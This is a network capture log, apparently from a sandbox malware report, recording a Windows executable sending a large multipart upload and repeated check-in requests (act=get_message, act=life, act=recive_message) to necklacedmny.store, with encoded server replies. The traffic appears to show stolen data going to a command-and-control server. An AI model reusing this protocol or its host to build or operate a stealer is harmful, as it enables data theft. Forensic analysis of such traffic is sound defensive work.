2024-10-31 23:38:12 UTC	285	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 551400 Host: necklacedmny.store
2024-10-31 23:38:12 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 46 36 34 41 42 43 39 32 41 33 35 36 42 34 43 42 31 44 30 31 30 43 43 41 36 36 31 30 36 43 38 35 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"F64ABC92A356B4CB1D010CCA66106C85--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-31 23:38:12 UTC	15331	OUT	Data Raw: 20 d7 c6 d4 e4 cb e4 1b 96 0b 0b e8 57 e8 98 4c 2b 53 48 b6 4d 63 df 59 09 84 a1 f3 b0 d6 9e e5 1a 36 46 3e 6e 1f 90 4c fb 55 e9 36 5c 29 f8 e9 2d 32 c2 65 43 c4 04 ee a7 d9 b9 1c cf a8 3f 59 b1 e6 fb 63 53 a5 1b 2c e7 74 9a 29 7e 49 61 97 7e f1 36 a9 b6 4a 68 2f 80 1b 13 bd 09 53 06 52 82 57 a3 9a ab 35 11 33 85 8d d0 e6 25 30 8b dc 1a 8d 22 76 b6 36 08 ab 9f 74 49 ca 2c 9a f6 cb 1a f5 a5 d4 3d 5c 39 f9 f9 04 48 4e 0f e3 52 9f 83 be 67 45 ba 0d 32 ee 81 05 ae fa 58 35 fa ac 24 f8 ce 2e e5 fc 3b c7 5a b7 d2 03 af 78 97 f4 ca c0 6b fe 4d c5 46 58 fe 34 df a6 a6 3c ba 4b 0b ae 0d d8 17 0d 31 d0 ac 99 a4 5a 9d 11 42 be 1d d8 fc 8d 32 25 81 67 f3 17 2e b0 9f 8f 75 4e 18 68 7e 53 ae 67 a3 1a b7 23 e6 7f 96 4d 79 a9 a4 94 d2 2a 3f 5b b6 83 a5 d0 ee fe 77 c7 19 Data Ascii: WL+SHMcY6F>nLU6\)-2eC?YcS,t)~Ia~6Jh/SRW53%0"v6tI,=\9HNRgE2X5$.;ZxkMFX4<K1ZB2%g.uNh~Sg#My*?[w
2024-10-31 23:38:12 UTC	15331	OUT	Data Raw: 84 e5 3f 50 4c 1f f1 60 f1 c9 68 49 27 2c c5 2d db 36 05 ff 54 ce 06 df 9a 7d b0 13 9f fa 42 5d 1f ab 3a 42 2b 36 9c 2d 19 1a d4 fa c2 f3 a4 02 71 20 24 66 fa fb d7 2c 0f e0 50 60 1f 11 d1 47 3c 6b 2c e1 21 d0 94 42 c5 3c dc 0e 0e 12 5c 18 63 7e 9c 0b fb 24 c7 b3 ed 96 fb cd 4e 1b 1a 11 7b e5 40 28 c4 4a 2a bf b1 d0 36 64 bc 88 25 2a 06 c7 68 b4 ee 91 b9 04 2c de ec f8 ce 1f 9e d6 ef fe 60 dc 5e bb 61 34 5d dc 6d fb dc d6 e3 ab c6 74 2d ab a5 f6 8d cf 90 86 0a 8d 8c 85 bb 07 59 2a d3 8c bc 2a ed 6a 7a 7d f4 f7 bc a0 79 e7 e9 a7 8e 69 4f 83 47 a4 c5 df 58 d9 fa 5a 6d d7 da 6c 5d 47 50 46 69 8d 9f c4 1d f7 bd 89 21 b5 c7 81 99 01 c5 08 37 0c 03 e2 da 89 52 dd e7 fa ec cd d7 92 ac 55 b0 a4 8b 5b 18 ba 8d 06 c3 92 00 04 06 fc 0b 68 82 93 69 1a f6 60 a9 a1 45 Data Ascii: ?PL`hI',-6T}B]:B+6-q $f,P`G<k,!B<\c~$N{@(J6d%h,`^a4]mt-Y**jz}yiOGXZml]GPFi!7RU[hi`E
2024-10-31 23:38:12 UTC	15331	OUT	Data Raw: ab c0 ed ce ef dd bf ff ff 87 9b 27 80 7c 71 bc e6 4f 88 92 a5 97 8a 84 32 84 98 b7 d2 40 a2 bf ff ad 7b 59 88 43 91 c8 9e 4b 8a c3 ea df 00 61 2f d1 12 f3 12 4b fc 32 29 b7 c0 0d ce fc 84 96 bc 76 09 c5 95 73 43 3b 44 58 3f 82 da 60 a4 27 06 28 f7 9d 98 9b 2a b2 d4 9b 4b 2a 5a 45 a2 73 fc f2 cb 70 92 a1 c1 c2 37 bc 5b a9 00 6d 1f c6 ba ff 3b 2a c6 99 97 39 b5 91 79 38 ff f5 7a 77 2b 70 f1 7c 2b 01 c2 8b 4e 85 2f b5 e7 fd ca b8 77 a3 8d 6d db 29 60 db ef c9 96 ed 49 11 32 4e 36 9a 8a 74 36 24 c9 64 c9 17 95 00 56 59 e4 45 5f dc a6 91 d0 c2 74 f9 82 a2 c4 29 19 0b 9b 10 4f 9e 43 39 2d 13 20 17 9f 1f 8f e0 37 8e 25 cd 6e 9f 7e b3 8f 53 8b 2a 6d f7 04 cf 68 5f 1b b3 73 83 12 bb 7d 08 dc 78 ae 2a 13 ae 34 42 3f ab af 89 ca 5a 2c 3e 44 2b 97 60 29 8a ec 59 6b Data Ascii: '\|qO2@{YCKa/K2)vsC;DX?`'(KZEsp7[m;9y8zw+p\|+N/wm)`I2N6t6$dVYE_t)OC9- 7%n~Smh_s}x*4B?Z,>D+`)Yk
2024-10-31 23:38:12 UTC	15331	OUT	Data Raw: 40 8d ff 75 78 b1 69 f5 be 6d 25 c8 6d ed e9 87 a9 64 be 18 7b d2 45 f5 6f 81 26 7b c2 90 29 06 82 b6 1b 08 ef bf 3a 43 48 08 0d ad 61 37 00 1b 9f f7 2b 29 94 f1 4e 8c ed 6b 43 1b 4c f1 c5 fe e8 19 ef dc 49 3d c3 17 3e ce 3d af be 8a ea 36 af 15 07 92 35 84 56 9e e2 c2 36 03 1e 0d f0 82 1c 4b 4a 5a b0 86 f0 f5 9f a8 9d 82 56 20 7e 1e 18 ed 9a 3b b1 0f 9f 5d c7 7e 85 bc cb 33 fa fd a1 c7 48 4d 74 34 1f db fb 76 7c 22 22 ee 39 fd 56 b5 67 2c e9 7e 94 4d 81 ff f6 62 42 da 76 ce 32 c7 6c f0 bd 60 0d 8a 3a 55 ca af 3f 61 80 a6 fa ff f1 fd a7 c6 35 5d ae bd 21 96 77 c7 59 0f 29 c8 6c b3 b8 6b fe 23 b8 a0 81 32 39 b6 85 51 72 9c 74 a6 1e fc f1 4c 32 cc b3 c3 7e 80 e6 03 b4 50 cc 9b 0a 34 3b f0 bf c5 22 9e fb f0 f8 bd a4 40 90 bb a0 51 61 f2 09 b4 73 0e 96 ec c1 Data Ascii: @uxim%md{Eo&{):CHa7+)NkCLI=>=65V6KJZV ~;]~3HMt4v\|""9Vg,~MbBv2l`:U?a5]!wY)lk#29QrtL2~P4;"@Qas
2024-10-31 23:38:12 UTC	15331	OUT	Data Raw: 64 13 64 96 71 75 34 ef 48 0c d2 97 5d b3 7d 92 22 4c 62 a9 57 05 f4 02 a0 72 1d e6 be 07 3a cc ed b6 b0 5f 6d 10 0a 18 ad 5c 14 45 9a 2c fd 68 46 50 f9 01 10 56 fa 72 84 5d 3b 09 63 87 44 ba 32 2b 67 8e 80 a6 3e fb 38 7f d7 a4 9c 75 96 9b 36 68 54 35 50 47 40 30 bc 0a de 02 a6 16 44 e2 e1 f4 84 d0 ce 4d b2 89 0c 62 31 cf db 6e 2d 23 af 0d b7 7d 7a 48 bf 01 5a 8c 2d d9 f2 8c 6b 61 d1 1f 1e 14 a8 5c 4d bb 7f 17 ac f3 43 5b 01 58 d1 9d bb 2e 17 e1 b8 d9 fd bf e9 dd e7 41 b2 50 95 cb af 69 01 c6 17 04 f5 25 95 8c 05 85 02 7c 57 f0 cc 64 40 22 68 23 e3 d0 40 02 21 e4 b5 97 a4 8b c3 3d 55 07 dd b7 91 b0 86 55 47 50 d3 4a a1 24 e7 a5 48 3b fa ce e4 38 51 c4 58 0b 38 83 f3 6c 53 9d 31 97 4f b9 cf 6c 7f 6a 11 f2 eb 4f d7 3f fc 85 12 50 66 eb 1a 6c 57 2f b4 59 d0 Data Ascii: ddqu4H]}"LbWr:_m\E,hFPVr];cD2+g>8u6hT5PG@0DMb1n-#}zHZ-ka\MC[X.APi%\|Wd@"h#@!=UUGPJ$H;8QX8lS1OljO?PflW/Y
2024-10-31 23:38:12 UTC	15331	OUT	Data Raw: 6e 3e 7d e6 c2 21 50 2c 64 5a 65 03 86 2e 60 b8 f0 52 7b 1c 69 31 ae 85 62 dc ad 49 87 6b 4d aa ff f0 eb 3a cd d1 ee ec ec b6 52 c8 ce 49 98 d7 83 77 53 1c 77 c5 29 0e 76 41 24 a9 38 c4 9b 6f 6d 3a fc 07 e4 4f 5e ac 7f 6b 8c ea 28 7b 7f 57 3e 27 59 73 94 e3 fe e2 31 ce f6 2e 71 c6 d0 1f 7b ed 8c 34 23 99 0c ef 92 8f 5b 7c 13 3f 27 0a 02 50 fb cb dc fb ed bf 99 e4 c1 7c 13 21 01 de 84 26 2f 23 cf 1f 7c 5e 98 4c c5 11 6d 77 ee 02 53 43 94 59 39 be a4 0a 8b 38 25 67 4a a7 88 a7 fb 67 f2 d2 c6 c5 a4 23 c3 27 ca 2c d7 95 e6 df 99 17 7a 80 e0 f9 aa 75 03 c0 5a eb 54 f8 ce f5 5b 7b f7 fa ba ef e6 1f e3 67 a9 64 ba df 78 ab 27 97 b3 fd 5d 93 b2 78 f7 2f 34 85 c0 de c7 b5 5c a9 16 4e 95 f8 45 2f 53 7f 43 d9 be 91 bd 79 76 fa f9 e6 bb 45 2e f9 42 79 d5 74 fc 7c 21 Data Ascii: n>}!P,dZe.`R{i1bIkM:RIwSw)vA$8om:O^k({W>'Ys1.q{4#[\|?'P\|!&/#\|^LmwSCY98%gJg#',zuZT[{gdx']x/4\NE/SCyvE.Byt\|!
2024-10-31 23:38:12 UTC	15331	OUT	Data Raw: d1 32 5f 6e 3e df 8b 7b 25 83 f5 32 fb b3 5b 1e 07 6c 68 d9 67 54 31 84 ee bf 50 a1 46 e1 bf 77 36 65 1a 80 7f 3e 37 54 ee cb 0e 6f 3d d3 11 aa b5 63 3e d9 71 e7 05 28 e7 13 82 c8 07 f1 f2 f7 ec 4e bf ca 57 fe 2a 23 b8 be 30 f2 53 6c b5 ad 6f a0 45 76 54 97 40 d6 64 67 f6 38 87 f2 f0 9f 05 3e ef d0 92 ec 1b 14 7c 56 58 8a 76 aa cb fb 2d 23 fb 16 5d e3 88 d8 ab ec c1 8a b3 46 5e 85 19 e4 90 0a cd 27 bf ac 69 f9 3f 09 3a d2 49 db fb 2e d4 eb af d8 33 74 e7 46 a5 f4 57 43 ae 75 73 a4 fc 85 f4 30 8e 2d eb 9a 8a 84 cc 58 54 68 12 d6 9b 5f 4f 0f 98 86 39 40 b2 67 ef d6 2b d1 0e 5b c5 fc 42 fc 60 11 0d ad b5 a2 f8 02 50 01 2d 0a 87 ad 09 2e b0 1e b2 95 cb bf 0a f2 7f ca 37 48 4d 43 84 67 82 b4 3e 96 aa 36 e4 eb 6f fd 49 b8 40 bd c1 40 22 75 ca be b8 e1 b5 9d e5 Data Ascii: 2_n>{%2[lhgT1PFw6e>7To=c>q(NW*#0SloEvT@dg8>\|VXv-#]F^'i?:I.3tFWCus0-XTh_O9@g+[B`P-.7HMCg>6oI@@"u
2024-10-31 23:38:12 UTC	15331	OUT	Data Raw: d5 08 10 a8 53 1e 18 3a 04 ba 37 e2 ff e1 e5 46 04 9e 06 5c 97 48 9f 45 d2 de 22 c9 55 50 0e c2 04 0d ab 60 ff 24 88 e3 2c d5 00 fe 60 1c 18 ac c4 54 a3 61 fc 3c 04 c2 ce 1c 9e 22 25 00 7c 8e ad 5c 74 72 3f 2c 54 71 34 11 61 da 77 4a ea 43 38 01 a6 e5 da 9a 8a 5a 2a 1f d1 3a a2 d7 07 47 09 bd 45 c3 33 3f 94 8a f8 b8 18 eb 1a 81 cf dc 51 fc e9 fe f1 fb 4e a9 80 9a 23 3b 7f e5 e4 11 55 d0 3a ad 95 ab e8 4c 41 45 25 21 02 c4 09 6b 17 2c 1d 69 f2 5c c6 14 9a 81 76 f4 e1 e9 e8 40 4c c7 a7 53 69 c6 c6 6d da e7 35 1a 99 bc 78 cc dd ca 32 c0 26 14 8d 9d d7 bf 10 89 8a 14 cd e2 dd 00 db 00 53 d9 5c 56 83 00 8d c2 5c 17 dd 81 7d f6 56 f9 99 a3 f8 d7 f4 d1 96 23 9a ce 91 20 0c 3f b5 79 e5 47 6f 15 f2 9d 9c a3 a2 82 bb a2 62 5e 32 0e 23 e1 2e b8 f6 26 2c 5a 6a 45 a9 Data Ascii: S:7F\HE"UP`$,`Ta<"%\|\tr?,Tq4awJC8Z*:GE3?QN#;U:LAE%!k,i\v@LSim5x2&S\V\}V# ?yGob^2#.&,ZjE
2024-10-31 23:38:12 UTC	15331	OUT	Data Raw: cb 70 1a 63 eb eb 3f d1 47 9b 85 36 de 09 55 af ce 9a fc 1a 89 ba 18 32 25 3f 3c 2c 17 f4 f9 4c 19 00 d7 52 b4 0a 97 7a 99 27 6e ab 75 57 79 f9 f8 9c 87 48 ef 1f cf d7 17 fe 7f 73 45 1e 09 82 e2 58 6e 88 1e 0f 1b 8a 00 d9 34 0b f2 63 88 d0 a0 30 96 7d e6 fa 5d 02 44 b2 4b 50 ff b0 a1 4d 9a a0 35 fa 9a c5 de 31 5a 77 7a f8 99 3f 4e 1b bf 7b 67 83 5c 85 cf 13 99 f3 e3 4c 89 a9 93 63 77 5c 57 b4 18 1f 65 51 5f 77 57 e8 df 11 a0 6c ff b2 3a d7 aa 7b 49 83 de 0b 35 66 5d 43 c0 99 0f 13 db 45 b9 a4 2a 19 03 c4 65 c3 0d 79 81 8f d3 d2 97 c9 24 34 77 f5 e9 c9 03 2f c8 2d 9f d6 d9 21 a5 f6 84 b7 80 5a 2a 87 3f f6 0e 13 82 00 bc 50 1b 37 ab c4 fa 9f b9 bc fd 65 35 5f 80 e6 3e cc 75 d1 98 87 90 05 1a 3e bd fa 23 b9 24 66 fd da 3c 3b 16 70 d4 40 dc 6c a7 39 d1 57 e0 Data Ascii: pc?G6U2%?<,LRz'nuWyHsEXn4c0}]DKPM51Zwz?N{g\Lcw\WeQ_wWl:{I5f]CEey$4w/-!Z?P7e5_>u>#$f<;p@l9W
2024-10-31 23:38:14 UTC	1021	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 23:38:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=a59stp9njimllh6fhe4n43cpp1; expires=Mon, 24-Feb-2025 17:24:52 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Vxo6Lq6oDnfinKnj%2BlKEQikNJt%2BVljDMlt559kdnDVUZz8jSAo5ZReqWHfeVTE2YAgOVGhF9LNW3vnuekmvtGIAFzLR6YzqNYO1BTZJpqjWDdzMRKmiJT%2BYny2UCywtlgibPht8%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8db77a32fd3b6b3b-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1242&sent=207&recv=588&lost=0&retrans=0&sent_bytes=2845&recv_bytes=553883&delivery_rate=1843411&cwnd=248&unsent_bytes=0&cid=1eb00de695e73b5b&ts=1989&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.6	49729	188.114.96.3	443	6532	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 23:38:14 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 87 Host: necklacedmny.store
2024-10-31 23:38:14 UTC	87	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e 64 61 72 79 79 26 6a 3d 26 68 77 69 64 3d 46 36 34 41 42 43 39 32 41 33 35 36 42 34 43 42 31 44 30 31 30 43 43 41 36 36 31 30 36 43 38 35 Data Ascii: act=get_message&ver=4.0&lid=4SD0y4--legendaryy&j=&hwid=F64ABC92A356B4CB1D010CCA66106C85
2024-10-31 23:38:15 UTC	1017	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 23:38:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=amgu111gds90e254opctkeugvq; expires=Mon, 24-Feb-2025 17:24:54 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=VHV3uH%2BYP4ifMCSpfLpvVA80sYibrzd0%2B7I2E37PG4%2BIMSzaF%2BYH8G18FcZ7KGwKYjOWAMriQ6klNAu1ce0lNn0Q%2Fhs1jfgNzpT6Ny5AmpbLueFIBh1cqKax1vkIpFLllIwSJyc%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8db77a4348e246cc-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1281&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2844&recv_bytes=989&delivery_rate=2118507&cwnd=243&unsent_bytes=0&cid=d34a66e7b25dab73&ts=335&x=0"
2024-10-31 23:38:15 UTC	214	IN	Data Raw: 64 30 0d 0a 2b 55 64 7a 45 76 76 63 2f 36 61 57 51 5a 75 42 57 48 41 77 36 4d 45 43 6f 32 7a 76 52 4e 52 78 61 39 77 38 73 4c 4b 32 42 47 75 69 50 46 46 6e 32 65 62 64 7a 75 49 31 36 37 73 45 58 32 7a 48 38 44 71 57 51 74 31 31 34 56 39 61 37 51 2b 65 67 34 42 59 52 4a 59 68 46 55 37 55 75 4a 72 41 75 43 54 6a 35 48 70 63 45 6f 36 31 49 4a 6c 63 77 32 61 78 55 31 48 73 51 5a 7a 4a 6c 48 46 4a 77 32 55 62 5a 6f 2b 73 78 66 71 35 48 62 53 77 59 45 55 65 32 76 41 33 6a 56 33 65 64 2f 70 41 58 59 41 54 33 64 76 59 59 54 66 57 4e 52 4a 38 6e 37 4f 53 69 50 4d 35 2f 71 4e 30 55 6c 61 63 34 7a 69 54 51 4d 30 68 39 6b 74 62 6f 57 45 3d 0d 0a Data Ascii: d0+UdzEvvc/6aWQZuBWHAw6MECo2zvRNRxa9w8sLK2BGuiPFFn2ebdzuI167sEX2zH8DqWQt114V9a7Q+eg4BYRJYhFU7UuJrAuCTj5HpcEo61IJlcw2axU1HsQZzJlHFJw2UbZo+sxfq5HbSwYEUe2vA3jV3ed/pAXYAT3dvYYTfWNRJ8n7OSiPM5/qN0Ulac4ziTQM0h9ktboWE=
2024-10-31 23:38:15 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.6	49939	188.114.96.3	443	4916	C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 23:38:52 UTC	265	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: necklacedmny.store
2024-10-31 23:38:52 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-10-31 23:38:52 UTC	1009	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 23:38:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=h8hp87i0no64bnv6v0snbk1654; expires=Mon, 24-Feb-2025 17:25:31 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=xGNMeMvIsRfWdy45MmmrWRlWgt3bakU38zHOVICXRLgt54JftgskmG27YqJXwf0mvJZsagqmW0zosgr68mu27AQKicIfoKtGJNhGriXQDcDvG9eG2h2c9sRbRQn%2BshweoKnjZK0%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8db77b2b88c83584-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1162&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2845&recv_bytes=909&delivery_rate=2507359&cwnd=250&unsent_bytes=0&cid=a85c952e34c3b523&ts=580&x=0"
2024-10-31 23:38:52 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-10-31 23:38:52 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.6	49949	188.114.96.3	443	4916	C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 23:38:53 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 52 Host: necklacedmny.store
2024-10-31 23:38:53 UTC	52	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e 64 61 72 79 79 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=4SD0y4--legendaryy&j=
2024-10-31 23:38:53 UTC	1017	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 23:38:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=as2d5cnfckhk1q1ttglpcd8iqa; expires=Mon, 24-Feb-2025 17:25:32 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=dsor3LuOIAtX%2Fkth%2B1pzj1fHubFoNjELo0t3prVyLKL9mBoPpCyE%2FS2lml6aQkrkeFRLcBHYppYuktZN867GIdeJ5o6Arv7LDxQH0jE%2FKD8DZ62qcysxNPEEGohusyvH%2FnQNzAQ%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8db77b335d86358e-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1151&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2844&recv_bytes=954&delivery_rate=2604316&cwnd=246&unsent_bytes=0&cid=d6b4bc40c9e85d4e&ts=475&x=0"
2024-10-31 23:38:53 UTC	352	IN	Data Raw: 31 64 38 61 0d 0a 4f 6b 77 52 63 44 6b 6c 57 68 45 41 65 58 45 50 4e 74 41 58 31 57 39 37 65 41 64 61 2b 64 30 5a 52 73 67 65 34 68 32 69 70 70 42 42 62 6d 64 53 41 78 46 32 4d 33 4d 63 55 7a 56 43 6f 6d 4b 77 51 31 6b 5a 59 33 6a 44 75 33 67 71 75 33 76 4f 50 39 54 4c 73 67 41 71 63 42 78 4b 51 48 59 7a 5a 51 46 54 4e 57 32 72 4e 62 41 42 57 55 49 6c 50 35 4f 2f 65 43 71 71 66 34 6c 79 30 73 72 7a 55 69 42 32 47 46 78 47 50 6e 42 73 46 42 52 71 55 37 46 39 75 77 59 57 45 47 70 34 31 66 39 38 50 4f 6f 6b 77 46 44 48 30 76 46 33 4c 57 49 62 47 31 68 32 61 69 49 63 48 79 30 4d 38 6e 61 77 44 52 63 65 59 7a 47 52 74 58 45 69 71 33 71 49 62 63 76 41 2b 46 49 75 64 52 6c 57 54 79 70 39 5a 68 4d 66 62 46 6d 78 4e 66 6c 4e 48 67 49 6c 59 4e 76 73 53 53 65 37 62 Data Ascii: 1d8aOkwRcDklWhEAeXEPNtAX1W97eAda+d0ZRsge4h2ippBBbmdSAxF2M3McUzVComKwQ1kZY3jDu3gqu3vOP9TLsgAqcBxKQHYzZQFTNW2rNbABWUIlP5O/eCqqf4ly0srzUiB2GFxGPnBsFBRqU7F9uwYWEGp41f98POokwFDH0vF3LWIbG1h2aiIcHy0M8nawDRceYzGRtXEiq3qIbcvA+FIudRlWTyp9ZhMfbFmxNflNHgIlYNvsSSe7b
2024-10-31 23:38:53 UTC	1369	IN	Data Raw: 78 61 53 6a 68 68 61 68 41 59 61 45 61 35 66 4c 6f 41 47 52 64 76 4e 35 69 2f 66 43 36 67 63 34 70 37 7a 63 6e 30 57 43 34 7a 58 42 74 41 49 44 4d 36 57 7a 42 6f 52 4c 56 35 6f 55 38 6a 57 6e 70 32 67 76 39 38 4b 4f 6f 6b 77 48 66 46 78 2f 46 54 49 58 41 61 55 46 55 34 59 57 51 57 46 6e 39 53 74 33 75 39 44 67 73 51 61 7a 36 59 74 6e 41 74 72 33 75 45 50 34 36 45 39 55 42 75 4b 31 4a 36 53 6a 4e 2f 61 41 77 54 4c 55 76 38 62 50 63 4b 46 56 6f 39 65 4a 2b 2b 66 79 57 75 63 6f 35 37 7a 4d 4c 38 56 53 46 31 47 46 74 41 4d 6e 74 71 47 68 35 6d 57 37 4a 77 75 67 6b 66 46 6d 51 39 32 2f 45 37 49 37 49 38 32 44 2f 75 77 2f 46 4b 62 45 59 52 56 55 6b 2f 5a 53 49 45 58 58 51 55 74 58 6e 33 56 56 6b 55 59 44 65 4a 76 6d 6b 68 70 47 36 4d 65 73 62 4a 38 56 59 75 64 Data Ascii: xaSjhhahAYaEa5fLoAGRdvN5i/fC6gc4p7zcn0WC4zXBtAIDM6WzBoRLV5oU8jWnp2gv98KOokwHfFx/FTIXAaUFU4YWQWFn9St3u9DgsQaz6YtnAtr3uEP46E9UBuK1J6SjN/aAwTLUv8bPcKFVo9eJ++fyWuco57zML8VSF1GFtAMntqGh5mW7JwugkfFmQ92/E7I7I82D/uw/FKbEYRVUk/ZSIEXXQUtXn3VVkUYDeJvmkhpG6MesbJ8VYud
2024-10-31 23:38:53 UTC	1369	IN	Data Raw: 2f 5a 53 49 45 58 58 51 55 74 58 6e 33 56 56 6b 57 62 44 69 51 74 58 38 6b 72 58 47 46 66 4d 66 48 2f 31 38 6b 66 52 56 66 53 7a 46 2b 5a 42 73 55 61 56 47 67 63 4c 34 42 46 56 6f 72 65 4a 79 6e 4f 33 7a 71 55 34 64 70 77 2b 76 78 53 53 63 7a 44 52 56 65 65 48 52 75 57 30 73 74 55 37 64 39 76 41 73 52 47 6e 63 39 6c 62 52 36 4c 71 78 39 6a 58 50 47 78 50 4e 59 4b 48 38 53 58 45 41 71 59 57 63 64 41 57 63 55 2f 44 57 77 46 56 6c 43 4a 51 36 4c 71 47 6f 79 36 45 6d 44 63 63 37 44 35 42 67 78 50 51 73 62 51 44 51 7a 4f 6c 73 59 62 56 69 31 66 62 45 4a 45 52 56 71 4d 59 6d 2b 64 79 71 34 65 34 42 32 7a 73 76 2b 55 53 4e 30 48 31 42 4e 4e 58 64 6c 47 6c 4d 6a 46 4c 56 74 39 31 56 5a 4c 48 55 31 6c 35 46 77 4b 4b 4d 38 6e 7a 48 5a 68 50 56 55 62 69 74 53 58 30 Data Ascii: 